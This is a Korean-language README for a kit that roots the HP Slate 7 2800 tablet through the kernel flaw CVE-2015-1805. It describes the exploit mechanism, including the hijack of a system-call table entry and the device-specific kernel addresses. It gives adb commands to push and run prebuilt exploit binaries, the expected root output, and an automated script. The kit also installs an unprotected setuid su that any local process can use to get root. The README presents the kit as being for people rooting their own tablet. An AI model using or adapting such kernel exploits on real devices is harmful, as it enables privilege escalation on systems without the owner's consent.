
CVE-2015-1805를 사용하는 HP Slate 7 2800 Android 4.1.1 루팅 킷.
English | Русский
이 저장소에는 로컬 취약점 CVE-2015-1805를 악용하여 펌웨어 1.05.18 및 커널 **Linux 3.0.8+**를 실행하는 HP Slate 7 2800에서 영구적인 루트 액세스를 얻기 위한 완전한 독립형 키트가 포함되어 있습니다. 이 키트는 실제 태블릿에서 실행되었으며, 결과는 새 ADB 세션과 일반 재부팅 후에 검증되었습니다.
이것은 범용 Android 루팅 도구가 아닙니다. 이 익스플로잇은 이 특정 HP 커널 구성에 한정됩니다. 다른 모델, 펌웨어 또는 커널 버전에서 실행하지 마십시오.
| 매개변수 | 검증된 값 |
|---|---|
| 제조사 및 모델 | HP Slate 7 2800 |
| Android | 4.1.1, API 16, 빌드 JRO03H |
| 제품 / 기기 | t7h / pine |
| 프로세서 | Rockchip RK3066, ARMv7 |
| 빌드 지문 | hp/t7h/pine:4.1.1/JRO03H/v1.05.18_user:user/release-keys |
| 커널 | 3.0.8+ #13 SMP PREEMPT Tue Jul 28 15:24:30 CST 2015 |
| ABI | 32비트 ARM EABI5 |
| SELinux | 커널 구성에 없음 (CONFIG_SECURITY 비활성화됨) |
/system 파티션 | ext4, 기본적으로 읽기 전용으로 마운트됨 |
변경 없이 기기를 검사할 수 있습니다:
adb devices -l
adb shell getprop ro.product.model
adb shell getprop ro.build.fingerprint
adb shell getprop ro.build.version.sdk
adb shell cat /proc/version
또는 아래 스크립트를 사용하십시오. 지문 또는 커널 버전이 일치하지 않으면 진행을 거부합니다:
./scripts/check-target.sh
./scripts/check-target.sh ADB_SERIAL
.
├── bin/
│ ├── hp-slate7-cve-2015-1805-root # verified exploit
│ ├── hp-slate7-install-root # installs su into /system
│ └── hp-slate7-su # minimal setuid-root wrapper
├── src/
│ ├── exploit/ # CVE source and device-specific changes
│ ├── installer/install-root.c # installer source
│ └── su/rootsh.S # minimal su source
├── scripts/
│ ├── build.sh # rebuilds all three ELF files
│ ├── check-target.sh # safe compatibility check
│ └── root-device.sh # verifies, uploads, and runs the kit
├── SHA256SUMS # hashes of the verified bin/* files
├── NOTICE # attribution for the original PoC
└── LICENSE # GPL-3.0
검증된 바이너리의 SHA-256 체크섬:
6bf8ea09efb9f409dfc7aa5efbc3108e5c1a19fc5b07ae913328ef4639a7644f bin/hp-slate7-cve-2015-1805-root
4857c71efc846636afc5b50d7f3c971c6eb68d3760f652086f2a38c5dc50bc4a bin/hp-slate7-install-root
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e bin/hp-slate7-su
macOS에서 검증:
shasum -a 256 -c SHA256SUMS
Linux에서 검증:
sha256sum -c SHA256SUMS
태블릿에서는 bin/의 파일을 사용하십시오: 기기에서 검증된 정확한 바이트입니다. build/ 디렉터리는 로컬 재빌드용이며 Git으로 추적되지 않습니다.
CVE-2015-1805는 구형 Linux 커널의 pipe_read() 및 pipe_write() 구현에 있는 결함입니다. 원자적 복사가 실패하면 코드가 iovec 배열 순회를 잘못 계속하여 포인터를 경계 밖으로 이동시킬 수 있습니다. 그 결과 로컬 비특권 프로세스가 메모리를 손상시키거나, 커널을 충돌시키거나, 권한을 상승시킬 수 있습니다. 이 메커니즘에 대한 자세한 설명은 oss-security에 게시되었습니다. 수정 사항은 업스트림 Linux 커밋 637b58c 및 f0d1bec 등에서 찾을 수 있습니다.
태블릿의 3.0.8+ 커널은 취약한 것으로 확인되었습니다. 커널 메모리를 수정하기 전에, 두 쓰기 대상이 모두 테스트 프로세스의 일반 메모리에 있는 무해한 프로브로 동일한 레이스를 별도로 테스트했습니다. 프로브는 CVE-2015-1805: VULNERABLE을 보고했으며 태블릿은 ADB를 통해 계속 접근 가능했습니다.
readv(), 메모리 매핑 변경, 그리고 커널의 취약한 파이프 코드에서 대형 iovec 배열 처리 사이에 레이스를 생성합니다.sys_call_table의 사용되지 않는 항목 222를 익스플로잇 프로세스에 있는 작은 ARM 트램펄린의 주소로 일시적으로 대체합니다.0xffff0008의 하이 벡터를 통해 계산됩니다. 검증된 기기에서 명령어는 0xe59ff410이며 해당 리터럴은 vector_swi = 0xc04d0d40을 가리킵니다.vector_swi와 sys_call_table은 공식 HP 오픈 소스 1.05.10 커널 아카이브 (아카이브 SHA-256: dd69f0468973714fd9ba22cdfea7e96f39f651ee51b9cb537728d9dcadbafda2)에서 rk30_t7h_dvt_defconfig defconfig로 독립적으로 산출되었습니다. 둘 사이의 오프셋은 0xc4입니다. 설치된 펌웨어에는 OABI도 seccomp도 없으므로 테이블의 최종 런타임 주소는 0xc04d0e04입니다.구형 커널 헤더의 원래 current_thread_info() 함수는 -O0에서 최신 Clang과 호환되지 않았습니다. 초기 프로토타입이 sp 레지스터 대신 초기화되지 않은 워드를 읽어 커널을 충돌시킬 수 있었습니다. 이 저장소에서는 검증된 naked ARM 트램펄린으로 대체되었습니다. 초기 바이너리는 저장소에 포함되어 있지 않습니다.
bin/의 기성 파일을 사용하려면adb;Android NDK, Java, Python, fastboot, 잠금 해제된 부트로더, 커스텀 리커버리, 루팅 APK 또는 네트워크 액세스는 필요하지 않습니다. 익스플로잇과 페이로드는 정적으로 링크되어 있습니다.
shasum 또는 sha256sum.Android NDK는 여전히 필요하지 않습니다: Zig가 ARM musl 크로스 툴체인을 제공합니다.
연결을 확인합니다:
adb devices -l
상태는 device여야 하며 offline 또는 unauthorized가 아니어야 합니다.
저장소 루트로 이동하여 먼저 기기가 정확히 일치하는지 확인합니다:
./scripts/check-target.sh
여러 기기가 연결된 경우 adb -s SERIAL을 사용하여 모든 명령에 일련번호를 전달하거나 ANDROID_SERIAL 환경 변수를 설정하십시오.
세 파일을 서로가 기대하는 이름으로 업로드합니다:
adb push bin/hp-slate7-cve-2015-1805-root /data/local/tmp/cve-2015-1805-root
adb push bin/hp-slate7-install-root /data/local/tmp/install-root
adb push bin/hp-slate7-su /data/local/tmp/rootsh-armv7
권한을 설정하고 스테이징된 파일을 디스크에 플러시합니다:
adb shell 'chmod 755 /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync'
익스플로잇을 한 번만 실행합니다:
adb shell '/data/local/tmp/cve-2015-1805-root; rc=$?; echo DEVICE_RC=$rc; exit $rc'
검증된 성공 출력:
offset:c4
addr:c04d0d40
[+] Done
restored syscall 222 to 0xc051900c
exploit rc=0 uid=0 gid=0
installer uid=0 gid=0
install-su ok
DEVICE_RC=0
기기가 몇 초 동안 ADB에서 사라지면 익스플로잇을 다시 실행하지 마십시오. 기기가 돌아올 때까지 기다립니다:
adb wait-for-device
스크립트는 지문과 커널을 검증하고, SHA-256 해시를 확인하고, 파일을 업로드하고, ROOT 입력을 요청한 다음 익스플로잇을 실행하고 uid=0을 검증합니다:
./scripts/root-device.sh
여러 기기의 경우:
./scripts/root-device.sh --serial ADB_SERIAL
--yes 옵션은 대화형 확인을 비활성화하며 의도적인 자동 사용만을 위한 것입니다:
./scripts/root-device.sh --serial ADB_SERIAL --yes
익스플로잇 프로세스의 uid가 아닌 새로운 ADB 셸에서 루트를 검증합니다:
adb shell 'id; /system/xbin/su -c id; echo SU_RC=$?'
adb shell 'ls -l /system/xbin/su'
adb shell 'cat /proc/mounts' | grep ' /system '
예상 출력:
uid=2000(shell) ...
uid=0(root) gid=0(root) ...
SU_RC=0
-rwsr-sr-x root root ... su
... /system ext4 ro,...
다음으로 임시 스테이징 파일만 제거합니다. 설치된 /system/xbin/su는 제거되지 않습니다:
adb shell '/system/xbin/su -c "rm -f /data/local/tmp/cve-2015-1805-root /data/local/tmp/install-root /data/local/tmp/rootsh-armv7; sync"'
이 키트는 /data/local.prop을 생성하지 않으며 사용자 데이터를 수정하지 않습니다.
일반 재부팅을 수행한 다음 루트가 유지되는지 검증합니다:
adb reboot
adb wait-for-device
adb shell getprop sys.boot_completed
adb shell '/system/xbin/su -c id'
검증된 태블릿은 재부팅 후 다음 결과를 생성했습니다:
uid=0(root) gid=0(root) ...
설치된 파일은 태블릿에서 다시 가져와 bin/hp-slate7-su와 바이트 단위로 일치했습니다:
40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e
단일 명령을 실행하려면:
adb shell '/system/xbin/su -c id'
adb shell '/system/xbin/su -c "ls -la /data"'
hp-slate7-su는 Android 앱, 확인 프롬프트, 데몬 또는 권한 로그가 없는 의도적으로 최소한의 래퍼입니다. /system/xbin/su를 실행할 수 있는 모든 로컬 프로세스는 잠재적으로 루트를 얻을 수 있습니다. 루팅한 후 이 구형 태블릿을 민감한 데이터에 사용하지 말고 신뢰할 수 없는 APK를 설치하지 마십시오.
휴대용 Zig 0.15.2의 경로를 지정하거나 zig를 PATH에 추가하십시오:
ZIG_BIN=/absolute/path/to/zig ./scripts/build.sh
출력은 build/에 기록됩니다:
build/hp-slate7-cve-2015-1805-root
build/hp-slate7-install-root
build/hp-slate7-su
파일 형식을 확인합니다:
file build/hp-slate7-*
세 파일 모두 32비트 ARM EABI5 ELF 파일이어야 합니다. 검증된 Zig 0.15.2 버전에서 설치 프로그램과 su는 bin/의 파일과 바이트 단위로 동일하게 재빌드됩니다. 익스플로잇 해시는 DWARF 및 링커 메타데이터의 절대 경로 때문에 다를 수 있습니다. 그 중요한 6개 명령어 트램펄린은 검증 빌드에서 바이트 단위로 동일했습니다. 재빌드해도 태블릿에서 실제로 실행된 bin/의 파일 체크섬은 대체되지 않습니다.
unauthorized화면 잠금을 해제하고 USB 디버깅 RSA 키를 수락합니다. 프롬프트가 나타나지 않으면 케이블을 다시 연결하고 adb devices -l을 다시 실행합니다.
offline 또는 기기가 사라짐몇 초 기다린 후 adb wait-for-device를 실행합니다. 태블릿이 꺼진 경우 전원 버튼으로 정상적으로 켭니다. 익스플로잇의 두 번째 인스턴스를 동시에 실행하지 마십시오.
[+] Done을 출력하지 않음CVE는 레이스를 통해 악용되므로 이론적으로 실패할 수 있습니다. 단 한 번의 재시도 전에 태블릿을 재부팅하십시오. 바이너리를 루프로 실행하지 마십시오: 실패한 레이스는 커널을 충돌시킬 수 있습니다.
su는 존재하지만 명령이 코드 127로 종료됨파일의 SHA-256 해시를 확인합니다. 초기 연구용 래퍼는 ARM에서 argv를 잘못 처리하여 코드 127로 종료되었습니다. 이 저장소에는 SHA-256 40626e555f71b71aa5ef7a727e9f6be55e552ef998ae3f49e9390f3e213c610e의 수정된 656바이트 버전이 포함되어 있습니다.
Android의 실제 상태를 확인합니다:
adb shell getprop sys.boot_completed
adb shell dumpsys window windows
sys.boot_completed=1은 물리적 디스플레이에 여전히 이전 프레임이 표시되더라도 Android가 부팅되었음을 의미합니다.
다른 잘 알려진 접근 방식은 이 기기에서 안전하게 배제되었거나 부적합한 것으로 판명되었습니다: CVE-2013-6282, CVE-2013-2094, CVE-2012-0056, CVE-2013-4787, Dirty COW 및 PingPongRoot. Towelroot/CVE-2014-3153은 이 커널을 충돌시키므로 사용해서는 안 됩니다. CVE-2014-7951은 ADB 복원 경로 탐색을 통해 파일을 쓸 수 있게 했지만 HP 펌웨어는 /data/local.prop을 로드하지 않았으므로 이 방법은 루트를 제공하지 못했습니다.
부트로더는 구형 Rockchip 로더를 사용하며 표준 fastboot 기기로 나타나지 않았습니다. 이 결과를 위해 리커버리 플래싱이나 부트로더 잠금 해제는 필요하지 않았습니다.
익스플로잇 코드는 mobilelinux/iovy_root_research 커밋 f945796을 기반으로 하며, 이는 다시 dosomder/iovyroot를 참조합니다. 기기별 변경 사항에는 스레드 수 감소, 타임아웃 수정, naked ARM 트램펄린 사용, 시스템 콜 테이블 조기 복원, cred 검증 및 적용 불가능한 SELinux 분기 비활성화가 포함됩니다.
원본 고지 사항은 보존되었습니다. 이 저장소는 GPL-3.0으로 배포됩니다. LICENSE 및 NOTICE를 참조하십시오.
커널 메모리 악용은 항상 기기 재부팅, 시스템 손상 또는 데이터 손실의 위험을 수반합니다. 이 키트는 소유하고 있으며 펌웨어가 정확히 일치하는 HP Slate 7 2800에서만 사용하도록 고안되었습니다. 중요한 데이터를 백업하고 다른 사람의 기기에는 사용하지 마십시오.
보안 연구 및 문서화는 GPT-5.6 Sol로 구동되고 Daybreak Blue 사이버 보안 액세스가 적용된 OpenAI Codex의 지원으로 완료되었습니다.
| 파일 | 형식 | 크기 | 용도 |
|---|
bin/hp-slate7-cve-2015-1805-root | ELF 32비트 ARM EABI5, 정적, unstripped | 2,722,320바이트 | CVE를 악용하여 uid 0을 획득하고 설치 프로그램 실행 |
bin/hp-slate7-install-root | ELF 32비트 ARM EABI5, 정적, stripped | 22,596바이트 | /system을 임시로 rw로 재마운트하고 su를 설치한 후 ro 복원 |
bin/hp-slate7-su | ELF 32비트 ARM EABI5, 정적, stripped | 656바이트 | setresgid(0,0,0) 및 setresuid(0,0,0) 호출 후 /system/bin/sh 실행 |
sp를 가져와 8,192바이트 커널 스택 크기에 맞춘 다음 오프셋 8의 thread_info.addr_limit에만 -1을 씁니다. 외부 호출, 프롤로그 또는 컴파일러 런타임 코드가 없습니다.sys_ni_syscall입니다. 검증된 커널에서 복원된 포인터는 0xc051900c입니다.addr_limit이 확장되면 파이프 복사가 현재 task_struct를 읽고 cred를 찾은 다음 현재 uid/gid 값, 정렬, 참조 횟수 및 real_cred == cred 조건을 사용하여 구조를 검증합니다. 이러한 검사 후에만 uid/gid 값이 0으로 설정되고 capability 마스크가 1로 채워집니다.uid=0을 획득하고 /data/local/tmp/install-root를 실행합니다. 설치 프로그램은 /system을 rw로 재마운트하고, 페이로드를 /system/xbin/su에 복사하고, root:root 소유권과 모드 06755를 할당하고, sync()를 호출한 다음 /system을 읽기 전용으로 다시 마운트합니다.